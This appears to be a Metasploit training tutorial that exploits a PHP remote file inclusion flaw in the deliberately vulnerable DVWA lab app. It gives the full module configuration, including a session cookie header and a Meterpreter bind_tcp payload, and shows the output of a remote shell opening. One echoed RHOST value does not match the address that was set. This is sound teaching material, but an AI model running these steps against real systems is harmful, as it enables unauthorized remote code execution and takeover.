The Internet is littered with improperly coded web applications with multiple vulnerabilities being disclosed on a daily basis. One of the more critical vulnerabilities is Remote File Inclusion (RFI) that allows an attacker to force PHP code of their choosing to be executed by the remote site even though it is stored on a different site. Metasploit published not only a php_include module but also a PHP Meterpreter payload. This is a continuation of the remote file inclusion vulnerabilities page.
The php_include module is very versatile as it can be used against any number of vulnerable webapps and is not product-specific. In order to make use of the file inclusion exploit module, we will need to know the exact path to the vulnerable site.
We’ll be using the Damn Vulnerable Web Application (DVWA) on metasploitable. For this particular application, we will need some cookie information from the web page. Specifically, we will need the PHP session ID of a logged on session, as well as DVWA’s security setting.
To obtain the cookie information, we will use an Iceweasel add-on called Cookies Manager+. In Iceweasel, browse to about:addons and search for ‘cookies manager+’. Download and install Cookies Manager+ and restart your browser. Once logged into DVWA, go to tools -> Cookie Manager+ and find the entry for the victim IP-address. Copy the value of PHPSESSID, and make sure that ‘security’ is set to ‘low’.
Loading the module in metasploit, we can see a great number of options available to us.
msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > show options
Module options (exploit/unix/webapp/php_include):
Name Current Setting Required Description
---- --------------- -------- -----------
HEADERS no Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI no The URI to request, with the include parameter changed to XXpathXX
POSTDATA no The POST data to send, with the include parameter changed to XXpathXX
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
The most critical option to set in this particular module is the exact path to the vulnerable inclusion point. Where we would normally provide the URL to our PHP shell, we simply need to place the text XXpathXX and Metasploit will know to attack this particular point on the site.
msf exploit(php_include) > set PHPURI /?page=XXpathXX
PHPURI => /?page=XXpathXX
msf exploit(php_include) > set PATH /dvwa/vulnerabilities/fi/
PATH => /dvwa/vulnerabilities/fi/
msf exploit(php_include) > set RHOST 192.168.80.134
RHOST => 192.168.1.150
msf exploit(php_include) > set HEADERS "Cookie:security=low; PHPSESSID=dac6577a6c8017bab048dfbc92de6d92"
HEADERS => Cookie:security=low; PHPSESSID=dac6577a6c8017bab048dfbc92de6d92
In order to further show off the versatility of Metasploit, we will use the PHP Meterpreter payload.
msf exploit(php_include) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp
msf exploit(php_include) > exploit
[*] Started bind handler
[*] Using URL: http://0.0.0.0:8080/ehgqo4
[*] Local IP: http://192.168.80.128:8080/ehgqo4
[*] PHP include server started.
[*] Sending stage (29382 bytes) to 192.168.80.134
[*] Meterpreter session 1 opened (192.168.80.128:56931 -> 192.168.80.134:4444) at 2010-08-21 14:35:51 -0600
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/php
Just like that, a whole new avenue of attack is opened up using Metasploit.